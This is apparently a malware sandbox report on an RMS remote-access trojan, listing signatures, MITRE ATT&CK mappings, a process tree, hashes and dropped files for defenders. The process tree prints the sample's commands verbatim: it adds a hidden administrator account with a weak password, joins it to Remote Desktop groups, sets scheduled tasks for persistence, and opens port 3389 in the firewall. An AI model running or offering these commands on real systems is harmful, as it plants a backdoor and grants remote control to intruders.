rms | b9919c0c512281f0af99d6dc34bf55d6d6e6faab040e5db2b0dcc0702b0f7b3b

Analysis

max time kernel
164s
max time network
175s
platform
windows10-2004_x64
resource
win10v2004-20231215-en
resource tags

arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system
submitted
02-01-2024 14:12

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

4d82679e58ebb79116a82dade9fe359fe72c348780dd8a6cfdc3469fe6a49c50.exe
Size

6.2MB
MD5

c92c59fa1503d65d1d67a578928e3c55
SHA1

0cb1106bde45dd5be118bb7b9ebb2be3e41b7203
SHA256

4d82679e58ebb79116a82dade9fe359fe72c348780dd8a6cfdc3469fe6a49c50
SHA512

1f8c714bfc23bd642ec6f4e5539ac1585e0cd8a54ba2b72ff06d7b4f0dd94589a8e6ab41b689f11f51425067784e071eeffc7e803470d55793492d38f6d11241
SSDEEP

196608:CIgAn6JaxBEvXUJyXEJDNfZJoExr77dZWoNMUyr:SA6YxBYXY+sJokFZWdUy

Score

10^/10

rms evasion persistence rat trojan

Malware Config

Signatures

RMS
Remote Manipulator System (RMS) is a remote access tool developed by Russian organization TektonIT.
trojan rat rms
Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.

Account Manipulation
T1098

Modifies Windows Firewall 1 TTPs 1 IoCs

evasion

Windows Service

T1543.003

Processes:

netsh.exe

pid	Process
1956	netsh.exe

Sets DLL path for service in the registry 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

Processes:

RDPWinst.exe

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\TermService\Parameters\ServiceDll = "%ProgramFiles%\\RDP Wrapper\\rdpwrap.dll"	RDPWinst.exe

Checks computer location settings 2 TTPs 4 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

Processes:

4d82679e58ebb79116a82dade9fe359fe72c348780dd8a6cfdc3469fe6a49c50.exewinserv.exewinserv.exewinserv.exe

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\Control Panel\International\Geo\Nation	4d82679e58ebb79116a82dade9fe359fe72c348780dd8a6cfdc3469fe6a49c50.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\Control Panel\International\Geo\Nation	winserv.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\Control Panel\International\Geo\Nation	winserv.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\Control Panel\International\Geo\Nation	winserv.exe

Executes dropped EXE 5 IoCs

Processes:

winserv.exewinserv.exewinserv.exeRDPWinst.exewinserv.exe

pid	Process
2920	winserv.exe
920	winserv.exe
1296	winserv.exe
5084	RDPWinst.exe
3768	winserv.exe

Loads dropped DLL 1 IoCs

Processes:

svchost.exe

pid	Process
968	svchost.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow	ioc
92	ip-api.com

Modifies WinLogon 2 TTPs 1 IoCs

persistence

Winlogon Helper DLL

T1547.004

Modify Registry

T1112

Processes:

RDPWinst.exe

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\AllowMultipleTSSessions = "1"	RDPWinst.exe

Drops file in System32 directory 1 IoCs

Processes:

RDPWinst.exe

description	ioc	Process
File created	C:\Windows\System32\rfxvmt.dll	RDPWinst.exe

Drops file in Program Files directory 5 IoCs

Processes:

svchost.exe4d82679e58ebb79116a82dade9fe359fe72c348780dd8a6cfdc3469fe6a49c50.exeRDPWinst.exe

description	ioc	Process
File opened for modification	\??\c:\program files\rdp wrapper\rdpwrap.txt	svchost.exe
File opened for modification	C:\Program Files\RDP Wrapper	4d82679e58ebb79116a82dade9fe359fe72c348780dd8a6cfdc3469fe6a49c50.exe
File opened for modification	C:\Program Files\RDP Wrapper\rdpwrap.ini	4d82679e58ebb79116a82dade9fe359fe72c348780dd8a6cfdc3469fe6a49c50.exe
File created	C:\Program Files\RDP Wrapper\rdpwrap.ini	RDPWinst.exe
File created	C:\Program Files\RDP Wrapper\rdpwrap.dll	RDPWinst.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

4d82679e58ebb79116a82dade9fe359fe72c348780dd8a6cfdc3469fe6a49c50.exe

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	4d82679e58ebb79116a82dade9fe359fe72c348780dd8a6cfdc3469fe6a49c50.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	4d82679e58ebb79116a82dade9fe359fe72c348780dd8a6cfdc3469fe6a49c50.exe

Creates scheduled task(s) 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

Processes:

schtasks.exeschtasks.exe

pid	Process
4396	schtasks.exe
1980	schtasks.exe

NTFS ADS 3 IoCs

Processes:

4d82679e58ebb79116a82dade9fe359fe72c348780dd8a6cfdc3469fe6a49c50.exe

description	ioc	Process
File opened for modification	C:\Users\Admin\AppData\Local\Temp\winmgmts:\	4d82679e58ebb79116a82dade9fe359fe72c348780dd8a6cfdc3469fe6a49c50.exe
File opened for modification	C:\Users\Admin\AppData\Local\Temp\WinMgmts:\	4d82679e58ebb79116a82dade9fe359fe72c348780dd8a6cfdc3469fe6a49c50.exe
File opened for modification	C:\ProgramData\Setup\winmgmts:\	4d82679e58ebb79116a82dade9fe359fe72c348780dd8a6cfdc3469fe6a49c50.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

4d82679e58ebb79116a82dade9fe359fe72c348780dd8a6cfdc3469fe6a49c50.exewinserv.exewinserv.exewinserv.exesvchost.exe

pid	Process
4804	4d82679e58ebb79116a82dade9fe359fe72c348780dd8a6cfdc3469fe6a49c50.exe
4804	4d82679e58ebb79116a82dade9fe359fe72c348780dd8a6cfdc3469fe6a49c50.exe
4804	4d82679e58ebb79116a82dade9fe359fe72c348780dd8a6cfdc3469fe6a49c50.exe
4804	4d82679e58ebb79116a82dade9fe359fe72c348780dd8a6cfdc3469fe6a49c50.exe
4804	4d82679e58ebb79116a82dade9fe359fe72c348780dd8a6cfdc3469fe6a49c50.exe
4804	4d82679e58ebb79116a82dade9fe359fe72c348780dd8a6cfdc3469fe6a49c50.exe
4804	4d82679e58ebb79116a82dade9fe359fe72c348780dd8a6cfdc3469fe6a49c50.exe
4804	4d82679e58ebb79116a82dade9fe359fe72c348780dd8a6cfdc3469fe6a49c50.exe
4804	4d82679e58ebb79116a82dade9fe359fe72c348780dd8a6cfdc3469fe6a49c50.exe
4804	4d82679e58ebb79116a82dade9fe359fe72c348780dd8a6cfdc3469fe6a49c50.exe
4804	4d82679e58ebb79116a82dade9fe359fe72c348780dd8a6cfdc3469fe6a49c50.exe
4804	4d82679e58ebb79116a82dade9fe359fe72c348780dd8a6cfdc3469fe6a49c50.exe
4804	4d82679e58ebb79116a82dade9fe359fe72c348780dd8a6cfdc3469fe6a49c50.exe
4804	4d82679e58ebb79116a82dade9fe359fe72c348780dd8a6cfdc3469fe6a49c50.exe
4804	4d82679e58ebb79116a82dade9fe359fe72c348780dd8a6cfdc3469fe6a49c50.exe
4804	4d82679e58ebb79116a82dade9fe359fe72c348780dd8a6cfdc3469fe6a49c50.exe
2920	winserv.exe
920	winserv.exe
2920	winserv.exe
920	winserv.exe
2920	winserv.exe
2920	winserv.exe
2920	winserv.exe
2920	winserv.exe
920	winserv.exe
920	winserv.exe
1296	winserv.exe
1296	winserv.exe
1296	winserv.exe
1296	winserv.exe
968	svchost.exe
968	svchost.exe
968	svchost.exe
968	svchost.exe
4804	4d82679e58ebb79116a82dade9fe359fe72c348780dd8a6cfdc3469fe6a49c50.exe
4804	4d82679e58ebb79116a82dade9fe359fe72c348780dd8a6cfdc3469fe6a49c50.exe
4804	4d82679e58ebb79116a82dade9fe359fe72c348780dd8a6cfdc3469fe6a49c50.exe
4804	4d82679e58ebb79116a82dade9fe359fe72c348780dd8a6cfdc3469fe6a49c50.exe
4804	4d82679e58ebb79116a82dade9fe359fe72c348780dd8a6cfdc3469fe6a49c50.exe
4804	4d82679e58ebb79116a82dade9fe359fe72c348780dd8a6cfdc3469fe6a49c50.exe
4804	4d82679e58ebb79116a82dade9fe359fe72c348780dd8a6cfdc3469fe6a49c50.exe
4804	4d82679e58ebb79116a82dade9fe359fe72c348780dd8a6cfdc3469fe6a49c50.exe
4804	4d82679e58ebb79116a82dade9fe359fe72c348780dd8a6cfdc3469fe6a49c50.exe
4804	4d82679e58ebb79116a82dade9fe359fe72c348780dd8a6cfdc3469fe6a49c50.exe
4804	4d82679e58ebb79116a82dade9fe359fe72c348780dd8a6cfdc3469fe6a49c50.exe
4804	4d82679e58ebb79116a82dade9fe359fe72c348780dd8a6cfdc3469fe6a49c50.exe
4804	4d82679e58ebb79116a82dade9fe359fe72c348780dd8a6cfdc3469fe6a49c50.exe
4804	4d82679e58ebb79116a82dade9fe359fe72c348780dd8a6cfdc3469fe6a49c50.exe
4804	4d82679e58ebb79116a82dade9fe359fe72c348780dd8a6cfdc3469fe6a49c50.exe
4804	4d82679e58ebb79116a82dade9fe359fe72c348780dd8a6cfdc3469fe6a49c50.exe
4804	4d82679e58ebb79116a82dade9fe359fe72c348780dd8a6cfdc3469fe6a49c50.exe
4804	4d82679e58ebb79116a82dade9fe359fe72c348780dd8a6cfdc3469fe6a49c50.exe
4804	4d82679e58ebb79116a82dade9fe359fe72c348780dd8a6cfdc3469fe6a49c50.exe
4804	4d82679e58ebb79116a82dade9fe359fe72c348780dd8a6cfdc3469fe6a49c50.exe
4804	4d82679e58ebb79116a82dade9fe359fe72c348780dd8a6cfdc3469fe6a49c50.exe
4804	4d82679e58ebb79116a82dade9fe359fe72c348780dd8a6cfdc3469fe6a49c50.exe
4804	4d82679e58ebb79116a82dade9fe359fe72c348780dd8a6cfdc3469fe6a49c50.exe
4804	4d82679e58ebb79116a82dade9fe359fe72c348780dd8a6cfdc3469fe6a49c50.exe
4804	4d82679e58ebb79116a82dade9fe359fe72c348780dd8a6cfdc3469fe6a49c50.exe
4804	4d82679e58ebb79116a82dade9fe359fe72c348780dd8a6cfdc3469fe6a49c50.exe
4804	4d82679e58ebb79116a82dade9fe359fe72c348780dd8a6cfdc3469fe6a49c50.exe
4804	4d82679e58ebb79116a82dade9fe359fe72c348780dd8a6cfdc3469fe6a49c50.exe
4804	4d82679e58ebb79116a82dade9fe359fe72c348780dd8a6cfdc3469fe6a49c50.exe
4804	4d82679e58ebb79116a82dade9fe359fe72c348780dd8a6cfdc3469fe6a49c50.exe

Suspicious behavior: LoadsDriver 2 IoCs

Processes:

pid	Process
672
672

Suspicious use of AdjustPrivilegeToken 7 IoCs

Processes:

winserv.exewinserv.exeRDPWinst.exesvchost.exe

description	pid	Process
Token: SeDebugPrivilege	2920	winserv.exe
Token: SeTakeOwnershipPrivilege	1296	winserv.exe
Token: SeTcbPrivilege	1296	winserv.exe
Token: SeTcbPrivilege	1296	winserv.exe
Token: SeDebugPrivilege	5084	RDPWinst.exe
Token: SeAuditPrivilege	968	svchost.exe
Token: SeAuditPrivilege	968	svchost.exe

Suspicious use of SetWindowsHookEx 16 IoCs

Processes:

winserv.exewinserv.exewinserv.exewinserv.exe

pid	Process
2920	winserv.exe
2920	winserv.exe
920	winserv.exe
920	winserv.exe
2920	winserv.exe
2920	winserv.exe
920	winserv.exe
920	winserv.exe
1296	winserv.exe
1296	winserv.exe
1296	winserv.exe
1296	winserv.exe
3768	winserv.exe
3768	winserv.exe
3768	winserv.exe
3768	winserv.exe

Suspicious use of WriteProcessMemory 54 IoCs

Processes:

4d82679e58ebb79116a82dade9fe359fe72c348780dd8a6cfdc3469fe6a49c50.execmd.execmd.exenet.exenet.execmd.exenet.execmd.execmd.exenet.exenet.execmd.execmd.exenet.exenet.exeRDPWinst.exe

description	pid	Process	procid_target
PID 4804 wrote to memory of 4396	4804	4d82679e58ebb79116a82dade9fe359fe72c348780dd8a6cfdc3469fe6a49c50.exe	91
PID 4804 wrote to memory of 4396	4804	4d82679e58ebb79116a82dade9fe359fe72c348780dd8a6cfdc3469fe6a49c50.exe	91
PID 4804 wrote to memory of 1980	4804	4d82679e58ebb79116a82dade9fe359fe72c348780dd8a6cfdc3469fe6a49c50.exe	93
PID 4804 wrote to memory of 1980	4804	4d82679e58ebb79116a82dade9fe359fe72c348780dd8a6cfdc3469fe6a49c50.exe	93
PID 4804 wrote to memory of 2920	4804	4d82679e58ebb79116a82dade9fe359fe72c348780dd8a6cfdc3469fe6a49c50.exe	95
PID 4804 wrote to memory of 2920	4804	4d82679e58ebb79116a82dade9fe359fe72c348780dd8a6cfdc3469fe6a49c50.exe	95
PID 4804 wrote to memory of 2920	4804	4d82679e58ebb79116a82dade9fe359fe72c348780dd8a6cfdc3469fe6a49c50.exe	95
PID 4804 wrote to memory of 4852	4804	4d82679e58ebb79116a82dade9fe359fe72c348780dd8a6cfdc3469fe6a49c50.exe	104
PID 4804 wrote to memory of 4852	4804	4d82679e58ebb79116a82dade9fe359fe72c348780dd8a6cfdc3469fe6a49c50.exe	104
PID 4804 wrote to memory of 1588	4804	4d82679e58ebb79116a82dade9fe359fe72c348780dd8a6cfdc3469fe6a49c50.exe	106
PID 4804 wrote to memory of 1588	4804	4d82679e58ebb79116a82dade9fe359fe72c348780dd8a6cfdc3469fe6a49c50.exe	106
PID 4804 wrote to memory of 4960	4804	4d82679e58ebb79116a82dade9fe359fe72c348780dd8a6cfdc3469fe6a49c50.exe	108
PID 4804 wrote to memory of 4960	4804	4d82679e58ebb79116a82dade9fe359fe72c348780dd8a6cfdc3469fe6a49c50.exe	108
PID 4804 wrote to memory of 496	4804	4d82679e58ebb79116a82dade9fe359fe72c348780dd8a6cfdc3469fe6a49c50.exe	110
PID 4804 wrote to memory of 496	4804	4d82679e58ebb79116a82dade9fe359fe72c348780dd8a6cfdc3469fe6a49c50.exe	110
PID 1588 wrote to memory of 3244	1588	cmd.exe	112
PID 1588 wrote to memory of 3244	1588	cmd.exe	112
PID 4852 wrote to memory of 440	4852	cmd.exe	113
PID 4852 wrote to memory of 440	4852	cmd.exe	113
PID 4804 wrote to memory of 1132	4804	4d82679e58ebb79116a82dade9fe359fe72c348780dd8a6cfdc3469fe6a49c50.exe	114
PID 4804 wrote to memory of 1132	4804	4d82679e58ebb79116a82dade9fe359fe72c348780dd8a6cfdc3469fe6a49c50.exe	114
PID 4804 wrote to memory of 4552	4804	4d82679e58ebb79116a82dade9fe359fe72c348780dd8a6cfdc3469fe6a49c50.exe	116
PID 4804 wrote to memory of 4552	4804	4d82679e58ebb79116a82dade9fe359fe72c348780dd8a6cfdc3469fe6a49c50.exe	116
PID 4804 wrote to memory of 3464	4804	4d82679e58ebb79116a82dade9fe359fe72c348780dd8a6cfdc3469fe6a49c50.exe	117
PID 4804 wrote to memory of 3464	4804	4d82679e58ebb79116a82dade9fe359fe72c348780dd8a6cfdc3469fe6a49c50.exe	117
PID 440 wrote to memory of 1988	440	net.exe	119
PID 440 wrote to memory of 1988	440	net.exe	119
PID 3244 wrote to memory of 2420	3244	net.exe	118
PID 3244 wrote to memory of 2420	3244	net.exe	118
PID 4960 wrote to memory of 1464	4960	cmd.exe	122
PID 4960 wrote to memory of 1464	4960	cmd.exe	122
PID 1464 wrote to memory of 1304	1464	net.exe	123
PID 1464 wrote to memory of 1304	1464	net.exe	123
PID 1132 wrote to memory of 4248	1132	cmd.exe	125
PID 1132 wrote to memory of 4248	1132	cmd.exe	125
PID 496 wrote to memory of 2952	496	cmd.exe	124
PID 496 wrote to memory of 2952	496	cmd.exe	124
PID 4248 wrote to memory of 3696	4248	net.exe	126
PID 4248 wrote to memory of 3696	4248	net.exe	126
PID 2952 wrote to memory of 4712	2952	net.exe	127
PID 2952 wrote to memory of 4712	2952	net.exe	127
PID 4552 wrote to memory of 916	4552	cmd.exe	128
PID 4552 wrote to memory of 916	4552	cmd.exe	128
PID 3464 wrote to memory of 1948	3464	cmd.exe	129
PID 3464 wrote to memory of 1948	3464	cmd.exe	129
PID 916 wrote to memory of 2560	916	net.exe	130
PID 1948 wrote to memory of 4716	1948	net.exe	131
PID 916 wrote to memory of 2560	916	net.exe	130
PID 1948 wrote to memory of 4716	1948	net.exe	131
PID 4804 wrote to memory of 5084	4804	4d82679e58ebb79116a82dade9fe359fe72c348780dd8a6cfdc3469fe6a49c50.exe	136
PID 4804 wrote to memory of 5084	4804	4d82679e58ebb79116a82dade9fe359fe72c348780dd8a6cfdc3469fe6a49c50.exe	136
PID 4804 wrote to memory of 5084	4804	4d82679e58ebb79116a82dade9fe359fe72c348780dd8a6cfdc3469fe6a49c50.exe	136
PID 5084 wrote to memory of 1956	5084	RDPWinst.exe	140
PID 5084 wrote to memory of 1956	5084	RDPWinst.exe	140

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\4d82679e58ebb79116a82dade9fe359fe72c348780dd8a6cfdc3469fe6a49c50.exe
"C:\Users\Admin\AppData\Local\Temp\4d82679e58ebb79116a82dade9fe359fe72c348780dd8a6cfdc3469fe6a49c50.exe"
1⤵
- Checks computer location settings
- Drops file in Program Files directory
- Checks processor information in registry
- NTFS ADS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4804
- C:\Windows\System32\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /create /TN "Microsoft\Windows\Wininet\winsers" /TR "\"C:\ProgramData\Windows Tasks Service\winserv.exe\" Task Service\winserv.exe" /SC MINUTE /MO 1 /RL HIGHEST
  2⤵
  - Creates scheduled task(s)
  PID:4396
- C:\Windows\System32\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /create /TN "Microsoft\Windows\Wininet\winser" /TR "\"C:\ProgramData\Windows Tasks Service\winserv.exe\" Task Service\winserv.exe" /SC ONLOGON /RL HIGHEST
  2⤵
  - Creates scheduled task(s)
  PID:1980
- C:\ProgramData\Windows Tasks Service\winserv.exe
  "C:\ProgramData\Windows Tasks Service\winserv.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of SetWindowsHookEx
  PID:2920
- - C:\ProgramData\Windows Tasks Service\winserv.exe
    "C:\ProgramData\Windows Tasks Service\winserv.exe" -second
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of SetWindowsHookEx
    PID:1296
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c net user John 12345 /add
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4852
- - C:\Windows\system32\net.exe
    net user John 12345 /add
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:440
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user John 12345 /add
      4⤵
      PID:1988
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c net localgroup "Администраторы" John /add
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1588
- - C:\Windows\system32\net.exe
    net localgroup "Администраторы" John /add
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3244
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 localgroup "Администраторы" John /add
      4⤵
      PID:2420
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c net localgroup "Пользователи удаленного рабочего стола" John /add
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4960
- - C:\Windows\system32\net.exe
    net localgroup "Пользователи удаленного рабочего стола" John /add
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1464
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 localgroup "Пользователи удаленного рабочего стола" John /add
      4⤵
      PID:1304
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c net localgroup "Пользователи удаленного управления" john /add" John /add
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:496
- - C:\Windows\system32\net.exe
    net localgroup "Пользователи удаленного управления" john /add" John /add
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2952
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 localgroup "Пользователи удаленного управления" john /add" John /add
      4⤵
      PID:4712
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c net localgroup "Administrators" John /add
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1132
- - C:\Windows\system32\net.exe
    net localgroup "Administrators" John /add
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4248
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 localgroup "Administrators" John /add
      4⤵
      PID:3696
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c net localgroup "Administradores" John /add
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4552
- - C:\Windows\system32\net.exe
    net localgroup "Administradores" John /add
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:916
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 localgroup "Administradores" John /add
      4⤵
      PID:2560
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c net localgroup "Remote Desktop Users" john /add
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3464
- - C:\Windows\system32\net.exe
    net localgroup "Remote Desktop Users" john /add
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1948
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 localgroup "Remote Desktop Users" john /add
      4⤵
      PID:4716
- C:\ProgramData\RDPWinst.exe
  C:\ProgramData\RDPWinst.exe -i
  2⤵
  - Sets DLL path for service in the registry
  - Executes dropped EXE
  - Modifies WinLogon
  - Drops file in System32 directory
  - Drops file in Program Files directory
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:5084
- - C:\Windows\SYSTEM32\netsh.exe
    netsh advfirewall firewall add rule name="Remote Desktop" dir=in protocol=tcp localport=3389 profile=any action=allow
    3⤵
    - Modifies Windows Firewall
    PID:1956

C:\ProgramData\Windows Tasks Service\winserv.exe
"C:\ProgramData\Windows Tasks Service\winserv.exe" Task Service\winserv.exe
1⤵
- Checks computer location settings
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
PID:920

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -s TermService
1⤵
PID:1532

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -s TermService
1⤵
- Loads dropped DLL
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:968

C:\ProgramData\Windows Tasks Service\winserv.exe
"C:\ProgramData\Windows Tasks Service\winserv.exe" Task Service\winserv.exe
1⤵
- Checks computer location settings
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:3768

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Persistence

Account Manipulation

T1098

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Winlogon Helper DLL

T1547.004

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Privilege Escalation

Account Manipulation

T1098

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Winlogon Helper DLL

T1547.004

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\ProgramData\RDPWinst.exe

Filesize
1.4MB

MD5
3288c284561055044c489567fd630ac2

SHA1
11ffeabbe42159e1365aa82463d8690c845ce7b7

SHA256
ac92d4c6397eb4451095949ac485ef4ec38501d7bb6f475419529ae67e297753

SHA512
c25b28a340a23a9fa932aa95075f85fdd61880f29ef96f5179097b652f69434e0f1f8825e2648b2a0de1f4b0f9b8373080a22117974fcdf44112906d330fca02

Download Submit
C:\ProgramData\Windows Tasks Service\settings.dat

Filesize
2KB

MD5
bc909d39981af556d07dc67178f61472

SHA1
a4e5b1c5bc746435a5baf11b728e83fb8e654da0

SHA256
10cf28ab39bf7ba76b91b043a007006d13d4a661fbcaad3d7820c19407b1e6a8

SHA512
acf34884a865cdabfbb9a49b948ccc74fe1e158636b23e2f728c2df6fd2fb7bda0929eeddf4bf58d90b034215dafa5e2c697050c51c2f2259ff77fa02d80f51a

Download Submit
C:\ProgramData\Windows Tasks Service\winserv.exe

Filesize
3.2MB

MD5
4cbc75afea6592520be29de2a18d75ab

SHA1
20acf18d05cc2def92c1846cbe69ad1fe7035105

SHA256
1b68542efc54d92628303a2c5bab12d081cb829f9edd3c818c81b74eef99367a

SHA512
cd8cb0b5b8b7a081ce6cdfc6e0536a3f3e634a7815cddbd24b221409cfb10349ff1f46a7c145d3c0f20d48e81ed31655993aa3d2a8e032cf7ddcabd42ffe5c3b

Download Submit
C:\ProgramData\Windows Tasks Service\winserv.exe

Filesize
8.0MB

MD5
516955b9080437975d997f83b8f8427b

SHA1
e65f1fa97178194044b42741596535761972a306

SHA256
7f98571e7d3c0d6887e23436e37ea59aa24056d6eb12308e00ad5b3c92588295

SHA512
5dff340ab495337ac6020e777bfbf9d01c7561c5d65fe7bd7fe6dcb456a413d536c97c3792cc9956ce9fb9f3958af49e1bf69e5f211b2f7a069f85959f02efe5

Download Submit
C:\ProgramData\Windows Tasks Service\winserv.exe

Filesize
10.2MB

MD5
3f4f5a6cb95047fea6102bd7d2226aa9

SHA1
fc09dd898b6e7ff546e4a7517a715928fbafc297

SHA256
99fd9e75e6241eff30e01c5b59df9e901fb24d12bee89c069cc6158f78b3cc98

SHA512
de5c8155f426a4e55953ae85410c7d9ad84f5643c30865fc036d1270310e28754772bd0f3093444a16ef0c1fa3db6c56301746fb5e7f03ce692bfdad0c4fb688

Download Submit
\??\PIPE\wkssvc

MD5
d41d8cd98f00b204e9800998ecf8427e

SHA1
da39a3ee5e6b4b0d3255bfef95601890afd80709

SHA256
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

SHA512
cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

Download Submit
\??\c:\program files\rdp wrapper\rdpwrap.dll

Filesize
114KB

MD5
461ade40b800ae80a40985594e1ac236

SHA1
b3892eef846c044a2b0785d54a432b3e93a968c8

SHA256
798af20db39280f90a1d35f2ac2c1d62124d1f5218a2a0fa29d87a13340bd3e4

SHA512
421f9060c4b61fa6f4074508602a2639209032fd5df5bfc702a159e3bad5479684ccb3f6e02f3e38fb8db53839cf3f41fe58a3acad6ec1199a48dc333b2d8a26

Download Submit
memory/920-43-0x0000000000400000-0x0000000000E31000-memory.dmp

Filesize
10.2MB

Download
memory/920-30-0x0000000000400000-0x0000000000E31000-memory.dmp

Filesize
10.2MB

Download
memory/920-18-0x0000000000400000-0x0000000000E31000-memory.dmp

Filesize
10.2MB

Download
memory/920-22-0x0000000000400000-0x0000000000E31000-memory.dmp

Filesize
10.2MB

Download
memory/920-23-0x0000000000400000-0x0000000000E31000-memory.dmp

Filesize
10.2MB

Download
memory/920-24-0x0000000000400000-0x0000000000E31000-memory.dmp

Filesize
10.2MB

Download
memory/920-38-0x0000000000400000-0x0000000000E31000-memory.dmp

Filesize
10.2MB

Download
memory/920-26-0x0000000000400000-0x0000000000E31000-memory.dmp

Filesize
10.2MB

Download
memory/920-27-0x00000000014D0000-0x00000000014D1000-memory.dmp

Filesize
4KB

Download
memory/920-14-0x0000000000400000-0x0000000000E31000-memory.dmp

Filesize
10.2MB

Download
memory/1296-42-0x0000000000400000-0x0000000000E31000-memory.dmp

Filesize
10.2MB

Download
memory/1296-60-0x0000000000400000-0x0000000000E31000-memory.dmp

Filesize
10.2MB

Download
memory/1296-89-0x0000000000400000-0x0000000000E31000-memory.dmp

Filesize
10.2MB

Download
memory/1296-84-0x0000000000400000-0x0000000000E31000-memory.dmp

Filesize
10.2MB

Download
memory/1296-79-0x0000000005150000-0x0000000005151000-memory.dmp

Filesize
4KB

Download
memory/1296-34-0x0000000000400000-0x0000000000E31000-memory.dmp

Filesize
10.2MB

Download
memory/1296-65-0x0000000000400000-0x0000000000E31000-memory.dmp

Filesize
10.2MB

Download
memory/1296-64-0x0000000000400000-0x0000000000E31000-memory.dmp

Filesize
10.2MB

Download
memory/1296-63-0x0000000005140000-0x0000000005141000-memory.dmp

Filesize
4KB

Download
memory/1296-39-0x0000000000400000-0x0000000000E31000-memory.dmp

Filesize
10.2MB

Download
memory/1296-40-0x0000000000400000-0x0000000000E31000-memory.dmp

Filesize
10.2MB

Download
memory/1296-41-0x0000000004730000-0x0000000004731000-memory.dmp

Filesize
4KB

Download
memory/1296-62-0x0000000004730000-0x0000000004731000-memory.dmp

Filesize
4KB

Download
